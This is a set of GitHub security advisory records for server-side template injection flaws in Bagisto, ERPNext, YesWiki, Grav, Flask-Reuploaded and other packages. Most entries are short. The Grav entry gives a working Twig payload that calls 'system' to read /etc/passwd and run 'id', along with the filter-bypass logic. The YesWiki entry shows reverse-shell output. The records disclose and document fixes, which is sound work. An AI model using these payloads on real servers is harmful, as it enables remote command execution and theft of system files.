CWE-1336

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "bagisto/bagisto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21448"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T22:13:40Z",
    "nvd_published_at": "2026-01-02T21:15:59Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nSSTI when normal customer orders any product in add address step can inject value run in admin view.\n### Details\n`As normal user`\n1. Go to `http://127.0.0.1:8000/`\n2. Add order to cart and continue to checkout \n3. In step of add address inject this value {{7*7}} in any input\n\n`As admin`\n1. Go to `http://127.0.0.1:8000/admin/sales/orders`\n2. And notice the vlaue appear in admin view 49\n\n`As normal user`\n3. Go to add address normally `http://127.0.0.1:8000/customer/account/addresses/create` and inject {{7*7}} on it and will notice it appear 49\n\u003cimg width=\"1868\" height=\"868\" alt=\"image\" src=\"https://github.com/user-attachments/assets/279627e9-6361-4d39-a500-0fc20e163d25\" /\u003e\n\n\n### PoC\n - Video attached with the report:  https://github.com/user-attachments/assets/a814b30c-a3e2-4a40-8644-336e21e60d0d\n\n\n### Impact\n- Can lead to RCE",
  "id": "GHSA-5j4h-4f72-qpm6",
  "modified": "2026-01-08T21:35:56Z",
  "published": "2026-01-02T22:13:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-5j4h-4f72-qpm6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21448"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bagisto/bagisto"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/releases/tag/v2.3.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bagisto has Normal \u0026 Blind SSTI from low-privilege user when ordering product"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-66438"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T18:15:48Z",
    "severity": "CRITICAL"
  },
  "details": "A Server-Side Template Injection (SSTI) vulnerability exists in the Frappe ERPNext through 15.89.0 Print Format rendering mechanism. Specifically, the API frappe.www.printview.get_html_and_style() triggers the rendering of the html field inside a Print Format document using frappe.render_template(template, doc) via the get_rendered_template() call chain. Although ERPNext wraps Jinja2 in a SandboxedEnvironment, it exposes sensitive functions such as frappe.db.sql through get_safe_globals(). An authenticated attacker with permission to create or modify a Print Format can inject arbitrary Jinja expressions into the html field. Once the malicious Print Format is saved, the attacker can call get_html_and_style() with a target document (e.g., Supplier or Sales Invoice) to trigger the render process. This leads to information disclosure from the database, such as database version, schema details, or sensitive values, depending on the injected payload. Exploitation flow: Create a Print Format with SSTI payload in the html field; call the get_html_and_style() API; triggers frappe.render_template(template, doc) inside get_rendered_template(); leaks database information via frappe.db.sql or other exposed globals.",
  "id": "GHSA-5x94-7mhw-9ff6",
  "modified": "2025-12-16T15:30:32Z",
  "published": "2025-12-15T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66438"
    },
    {
      "type": "WEB",
      "url": "https://iamanc.github.io/post/erpnext-ssti-bug-5"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/SSTI-bug-5-239e6086eadc80a48f17c1257a604d2c?source=copy_link"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-46661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-28T13:15:24Z",
    "severity": "CRITICAL"
  },
  "details": "IPW Systems Metazo through 8.1.3 allows unauthenticated Remote Code Execution because smartyValidator.php enables the attacker to provide template expressions, aka Server-Side Template-Injection. All instances have been patched by the Supplier.",
  "id": "GHSA-65hw-c9g5-r8mm",
  "modified": "2025-04-28T15:31:41Z",
  "published": "2025-04-28T15:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46661"
    },
    {
      "type": "WEB",
      "url": "https://code-white.com/public-vulnerability-list"
    },
    {
      "type": "WEB",
      "url": "https://www.ipwsystems.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flask-reuploaded"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T19:06:50Z",
    "nvd_published_at": "2026-02-25T04:16:04Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nA critical path traversal and extension bypass vulnerability in Flask-Reuploaded allows remote attackers to achieve arbitrary file write and remote code execution through Server-Side Template Injection (SSTI).\n\n### Patches\nFlask-Reuploaded has been patched in version 1.5.0\n\n### Workarounds\n\n1. **Do not pass user input to the `name` parameter**\n2. Use auto-generated filenames only\n3. Implement strict input validation if `name` must be used\n\n```python\nfrom werkzeug.utils import secure_filename\nimport os\n\n# Sanitize user input before passing to save()\nsafe_name = secure_filename(request.form.get(\u0027custom_name\u0027))\n# Remove path separators\nsafe_name = os.path.basename(safe_name)\n# Validate extension matches policy\nif not photos.extension_allowed(photos.get_extension(safe_name)):\n    abort(400)\n    \nfilename = photos.save(file, name=safe_name)\n```\n\n### Resources\nThe fix is documented in the pull request, see https://github.com/jugmac00/flask-reuploaded/pull/180.\n\nA proper write-up was created by the reporter of the vulnerability, Jaron Cabral (https://www.linkedin.com/in/jaron-cabral-751994357/), but is not yet available as of time of this publication.",
  "id": "GHSA-65mp-fq8v-56jr",
  "modified": "2026-02-25T19:06:50Z",
  "published": "2026-02-25T19:06:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-65mp-fq8v-56jr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/pull/180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/commit/d64c6b2f71cb73734fc38baa0e3e156926361288"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jugmac00/flask-reuploaded"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flask-Reuploaded vulnerable to Remote Code Execution via Server-Side Template Injection"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52762"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T20:54:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nYesWiki Bazar contains a stored Server-Side Template Injection (`SSTI`) vulnerability in the semantic template feature that can be escalated to confirmed Remote Code Execution (`RCE`). An authenticated administrator can place arbitrary Twig expressions into the `Semantic template (Twig)` field (`bn_sem_template`), and that content is later executed server-side when public semantic endpoints are requested.\n\nThis was first confirmed through a harmless proof payload where `{{ 7 * 7 }}` was rendered as `49` through the public JSON-LD endpoint. The finding was then further validated locally by storing a Twig payload that invoked a system-level callable, resulting in command execution and an interactive shell on the test machine.\n\nBecause the payload is stored in the form configuration and later triggered through a public endpoint, this issue is both persistent and remotely triggerable after an administrator plants the malicious template.\n\n### Details\nThe vulnerable behavior is in the Bazar semantic rendering flow.\n\nThe administrator-editable fields:\n\n- `bn_sem_template`\n- `bn_sem_reverse_template`\n\nallow Twig template content to be stored inside a form definition. That content is later rendered by the backend semantic transformer through `TemplateEngine::renderFromStringNoEscape()`, which passes the user-controlled string into Twig for execution.\n\nRelevant sink:\n\n```php\n$json = $this-\u003etemplateEngine-\u003erenderFromStringNoEscape($form[\u0027bn_sem_template\u0027], $data);\n```\n\nThe rendering helper evaluates the supplied string as a live Twig template:\n\n```php\npublic function renderFromStringNoEscape(string $templateString, array $data = []): string\n{\n    $wrapped = \u0027{% autoescape false %}\u0027 . $templateString . \u0027{% endautoescape %}\u0027;\n    return $this-\u003etwig-\u003ecreateTemplate($wrapped)-\u003erender($data);\n}\n```\n\nThis is unsafe because administrator-controlled semantic template text is executed as server-side Twig code rather than treated as inert data. In the validated environment, Twig expressions were first confirmed to execute through a harmless arithmetic payload and were then escalated to operating-system-level command execution by invoking a callable through Twig.\n\nThe public trigger path used during validation was:\n\n```text\nGET /api/forms/2/entries/json-ld\n```\n\nThe attack chain is:\n\n1. An administrator stores malicious Twig code in the semantic template field.\n2. YesWiki saves that payload in the form configuration.\n3. A later request to the public semantic endpoint causes the backend to render and execute the stored Twig.\n4. Because the Twig environment is not adequately constrained, the stored payload can escalate from template execution to system command execution.\n\n### PoC\nThe following steps reproduce the issue on the locally validated YesWiki instance.\n\n### Stage 1: Confirm Server-Side Template Execution\n\n1. Log in to YesWiki as an administrator.\n2. Open Bazar form management.\n3. Edit form ID `2` (`Agenda` in the validated instance).\n4. Locate the field labeled `Semantic template (Twig)`.\n5. Replace its content with the following harmless payload:\n\n```json\n{\"proof\":\"{{ 7 * 7 }}\"}\n```\n\n6. Save the form.\n7. Trigger the public semantic endpoint:\n\n```bash\ncurl -s \u0027https://target.example/?api/forms/2/entries/json-ld\u0027\n```\n\n8. Observe that the server returns evaluated Twig output instead of the literal string `{{ 7 * 7 }}`.\n\nConfirmed response:\n\n```json\n{\"@context\":null,\"@id\":\"https:\\/\\/target.example\\/?api\\/fiche\\/2\",\"@type\":[\"ldp:Container\",\"ldp:BasicContainer\"],\"dcterms:title\":\"Agenda\",\"ldp:contains\":[{\"proof\":\"49\",\"id\":\"https:\\/\\/target.example\\/?TesT2\"},{\"proof\":\"49\",\"id\":\"https:\\/\\/target.example\\/?Bordeaux\"}]}\n```\n\nKey execution proof:\n\n```json\n\"proof\":\"49\"\n```\n\n### Stage 2: Confirm Remote Code Execution\n\nAfter confirming SSTI with the harmless payload above, a second locally controlled payload was stored in the same semantic template field to test whether Twig execution could be escalated to command execution. When the public semantic endpoint was requested, the payload executed on the server and established an interactive shell back to the test listener.\n\nObserved local evidence included:\n\n- an inbound connection to the attacker\u0027s listener\n- an interactive shell prompt on the YesWiki host\n- successful command execution from the shell inside the YesWiki project directory\n\nObserved shell output:\n\n```text\nConnection received on 172.31.60.19 60308\nkhizar@Victus:/mnt/c/Users/khiza/Documents/Codex/2026-05-24/i-am-trying-to-make-a/yeswiki-src$ ls\nINSTALL.md\nLICENSE\nMakefile\nREADME.md\nSECURITY.md\nactions\ncache\ncodex-admin-login.php\ncomposer.json\ncomposer.lock\ncustom\ndocker\ndocs\nfiles\nformatters\nhandlers\nincludes\nindex.php\ninterwiki.conf\njavascripts\nlang\npackage.json\nprivate\nrobots.txt\nsetup\nstyles\ntemplates\ntests\nthemes\ntools\nvendor\nwakka.config.php\nwakka.php\nyeswicli\n```\n\nThis confirms that the issue is not limited to template evaluation or data disclosure. In the validated local environment, the stored Twig payload reached full operating-system-level command execution.\n\n### Impact\nAn authenticated administrator can inject arbitrary Twig expressions into Bazar semantic templates, and those expressions are executed server-side when public semantic endpoints are requested.\n\nIn the validated environment, this leads to confirmed Remote Code Execution. An attacker with administrator access can:\n\n- execute arbitrary Twig expressions on the server\n- store a persistent payload in form configuration\n- have that payload triggered later by unauthenticated requests to public semantic endpoints\n- execute operating-system commands on the host\n- gain interactive shell access to the underlying server\n- pivot from application-level administration to full server compromise\n\nThis breaks the expected trust boundary between application administration and host-level execution. In practical terms, YesWiki administrator privileges become sufficient to obtain command execution on the server in affected deployments.",
  "id": "GHSA-65p8-9433-jpcp",
  "modified": "2026-07-09T20:54:23Z",
  "published": "2026-07-09T20:54:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-65p8-9433-jpcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/89462f1577a8a1fe7fcff75e77b5058a74d8047b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "YesWiki: Authenticated (Admin) Server-Side Template Injection to Remote Code Execution via Bazar Semantic Templates"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.0-beta.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66294"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-02T01:25:16Z",
    "nvd_published_at": "2025-12-01T21:15:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the `cleanDangerousTwig` method.\n\n### Important\n- First of all this vulnerability is due to weak sanitization in the method `clearDangerousTwig`, so any other class that calls it indirectly through for example `$twig-\u003eprocessString` to sanitize code is also vulnerable.\n\n- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.\n\n- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.\n\n### Permissions Needed\n- The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form.\n- Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through `evaluate_twig`, a guest can takeover the system.\n\n### Details\nWhen we make a form with a process section and a `message` action, when the form is submitted we get to deal with `onFormProcess` in `form.php` through the `message` case:\n\n```php\n            case \u0027message\u0027:\n                $translated_string = $this-\u003egrav[\u0027language\u0027]-\u003etranslate($params);\n                $vars = array(\n                    \u0027form\u0027 =\u003e $form\n                );\n\n                /** @var Twig $twig */\n                $twig = $this-\u003egrav[\u0027twig\u0027];\n                $processed_string = $twig-\u003eprocessString($translated_string, $vars);\n\n                $form-\u003emessage = $processed_string;\n                break;\n```\n\nWhich takes our parameters as in our action values, like in our case the value of our `message` action and sends it to `processString` which then calls the method `cleanDangerousTwig` from `Security.php`, now here\u0027s where we find the vulnerability is caused by two things:\n\n- First of all is weak regex which doesn\u0027t account for nested function calls, which allows us to bypass this function\u0027s sanitization\n- Second issue which is the `evaluate` and `evaluate_twig` functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.\n\n```php\n    public static function cleanDangerousTwig(string $string): string\n    {\n        if ($string === \u0027\u0027) {\n            return $string;\n        }\n\n        $bad_twig = [\n            \u0027twig_array_map\u0027,\n            \u0027twig_array_filter\u0027,\n            \u0027call_user_func\u0027,\n            \u0027registerUndefinedFunctionCallback\u0027,\n            \u0027undefined_functions\u0027,\n            \u0027twig.getFunction\u0027,\n            \u0027core.setEscaper\u0027,\n            \u0027twig.safe_functions\u0027,\n            \u0027read_file\u0027,\n        ];\n         \n        // This allows for a payload like {{ evaluate(\"read_file(\u0027/etc/passwd\u0027)\") }}\n        $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n        return $string;\n    }\n```\n\n### PoC\n\nFirst to showcase how the function handles the payload, I built a small php program that replicates the behavior of `cleanDangerousTwig`:\n\n```php\n\u003c?php\n\nfunction cleanDangerousTwig(string $string): string\n{\n    if ($string === \u0027\u0027) {\n        return $string;\n    }\n\n    $bad_twig = [\n        \u0027twig_array_map\u0027,\n        \u0027twig_array_filter\u0027,\n        \u0027call_user_func\u0027,\n        \u0027registerUndefinedFunctionCallback\u0027,\n        \u0027undefined_functions\u0027,\n        \u0027twig.getFunction\u0027,\n        \u0027core.setEscaper\u0027,\n        \u0027twig.safe_functions\u0027,\n        \u0027read_file\u0027,\n    ];\n    $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n\n    return $string;\n}\n\n$x = $argv[1];\necho cleanDangerousTwig(\"evaluate_twig(\u0027$x\u0027)\");\n```\n\nWe can run the program with this payload:\n\n```bash\nphp ok.php \"{{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} {{ grav.twig.twig.getFunction(\u0027cat /etc/passwd\u0027) }}\"\n```\n\nOur payload goes through and not one malicious function is filtered:\n\n```\nevaluate_twig(\u0027{# {{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} #} {# {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} #} {# {{ grav.twig.twig.getFunction(\u0027cat /etc/passwd\u0027) }} #}\u0027)\n```\n\nNow we know that our payload definitely works so let\u0027s try it through a custom form this time, as an editor:\n\n- Go to pages\n- Add a page and create a new form or choose an exiting one\n\nWe will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form\u0027s action sections without being in expert mode ( please refer to [it\u0027s report](https://github.com/getgrav/grav/security/advisories/GHSA-v8x2-fjv7-8hjh) ), so when we go to our form and save it, we can intercept the request and inject the following payload into `data[_json][header][form]` which is the header for our form which we shouldn\u0027t normally be able to modify:\n\n```\n{\"name\":\"ssti-test 2\",\"fields\":{\"name\":{\"type\":\"text\",\"label\":\"Name\",\"required\":true}},\"buttons\":{\"submit\":{\"type\":\"submit\",\"value\":\"Submit\"}},\"process\":[]}\n```\n\nURL-encode it before sending it should look something like this:\n\n![image](https://github.com/user-attachments/assets/c3345f1f-c613-4534-a15c-bd1cf7e4b2f5)\n\n![image](https://github.com/user-attachments/assets/e9685357-b85d-432a-842b-27a28487b7d1)\n\nRequest sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:\n\n![image](https://github.com/user-attachments/assets/c87bdc3b-712c-465f-bd0d-9951ca826a6a)\n\nContent of form:\n\n```\ntitle: Home\nprocess:\n    markdown: true\n    twig: true\nform:\n    name: test\n    fields:\n        name:\n            type: text\n            label: Name\n            required: true\n    buttons:\n        submit:\n            type: submit\n            value: submit\n    process:\n        -\n            message: \u0027{{ evaluate_twig(form.value(\u0027\u0027name\u0027\u0027)) }}\u0027\n```\n\nNow in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command `id` on the system:\n\n```\n{{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} {{ grav.twig.twig.getFunction(\u0027id\u0027) }}\n```\n\nNow we can visit the page and input our payload, submit and we got command result:\n\n![image](https://github.com/user-attachments/assets/46571c3c-53ad-4028-b607-8c8f1c26b0c2)\n\n\n### Impact\n\nAllows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.\n\n### Recommended Fix\n\n- Blacklist both the `evaluate` and `evaluate_twig` functions.\n- We could add second check to `cleanDangerousTwig` where we would look for each malicious function no matter it\u0027s position:\n\n```php\n\u003c?php\n\nfunction cleanDangerousTwig(string $string): string\n{\n    if ($string === \u0027\u0027) {\n        return $string;\n    }\n\n    $bad_twig = [\n        \u0027twig_array_map\u0027,\n        \u0027twig_array_filter\u0027,\n        \u0027call_user_func\u0027,\n        \u0027registerUndefinedFunctionCallback\u0027,\n        \u0027undefined_functions\u0027,\n        \u0027twig.getFunction\u0027,\n        \u0027core.setEscaper\u0027,\n        \u0027twig.safe_functions\u0027,\n        \u0027read_file\u0027,\n    ];\n    $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n\n    foreach ($bad_twig as $func) {\n        $string = preg_replace(\u0027/\\b\u0027 . preg_quote($func, \u0027/\u0027) . \u0027(\\s*\\([^)]*\\))?\\b/i\u0027, \u0027{# $1 #}\u0027, $string);\n    }\n\n    return $string;\n}\n\n$x = $argv[1];\necho cleanDangerousTwig(\"evaluate_twig(\u0027$x\u0027)\");\n```\n\nWhen we run this, the result is:\n```\nevaluate_twig(\u0027{# {{ grav.twig.twig.{#  #}(\u0027system\u0027) }} #} {# {% set a = grav.config.set(\u0027system.twig.{#  #}\u0027,false) %} #} {# {{ grav.twig.{#  #}(\u0027cat /etc/passwd\u0027) }} #}\u0027)\n```\nYou can see we managed to stop the payload and filter out the malicious functions.",
  "id": "GHSA-662m-56v4-3r8f",
  "modified": "2025-12-02T01:25:16Z",
  "published": "2025-12-02T01:25:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-662m-56v4-3r8f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-32407"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-22T19:15:46Z",
    "severity": "HIGH"
  },
  "details": "An issue in inducer relate before v.2024.1 allows a remote attacker to execute arbitrary code via a crafted payload to the Page Sandbox feature.",
  "id": "GHSA-66c8-9r5r-35hf",
  "modified": "2024-07-03T18:36:31Z",
  "published": "2024-04-22T21:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32407"
    },
    {
      "type": "WEB",
      "url": "https://book.hacktricks.xyz/v/jp/pentesting-web/ssti-server-side-template-injection"
    },
    {
      "type": "WEB",
      "url": "https://cxsecurity.com/issue/WLB-2024040049"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-77136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T09:17:34Z",
    "severity": "CRITICAL"
  },
  "details": "The extension passes the raw value of a form field configured as \"This field contains the name of the sender\" directly into a Fluid View as template source, without any sanitization, and renders it. An anonymous, unauthenticated user can submit Fluid template syntax in that field to execute arbitrary Fluid ViewHelpers leading to disclosure of server configuration, environment variables and application source, and potentially remote code execution. Exploitation requires only that a form field is configured as the sender_name field, a common and default-adjacent Powermail configuration. No authentication or user interaction beyond a normal form submission is required. This vulnerability is reported to be actively exploited in the wild.",
  "id": "GHSA-6956-f2gq-2c74",
  "modified": "2026-08-25T09:30:39Z",
  "published": "2026-08-25T09:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77136"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-ext-sa-2026-022"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-23851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-17T15:15:48Z",
    "severity": "CRITICAL"
  },
  "details": "Netaxis API Orchestrator (APIO) before 0.19.3 allows server side template injection (SSTI).",
  "id": "GHSA-6965-rjh7-m8m8",
  "modified": "2025-12-17T18:31:33Z",
  "published": "2025-12-17T15:34:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23851"
    },
    {
      "type": "WEB",
      "url": "https://blog.tig00r.me/post/CVE-2022-23851"
    },
    {
      "type": "WEB",
      "url": "https://www.netaxis.be/products/apio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-67843"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-19T02:16:08Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Template Injection (SSTI) vulnerability in the MDX Rendering Engine in Mintlify Platform before 2025-11-15 allows remote attackers to execute arbitrary code via inline JSX expressions in an MDX file.",
  "id": "GHSA-6p6p-x42g-j3hv",
  "modified": "2025-12-19T03:31:18Z",
  "published": "2025-12-19T03:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67843"
    },
    {
      "type": "WEB",
      "url": "https://kibty.town/blog/mintlify"
    },
    {
      "type": "WEB",
      "url": "https://news.ycombinator.com/item?id=46317098"
    },
    {
      "type": "WEB",
      "url": "https://www.mintlify.com/blog/working-with-security-researchers-november-2025"
    },
    {
      "type": "WEB",
      "url": "https://www.mintlify.com/docs/changelog"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}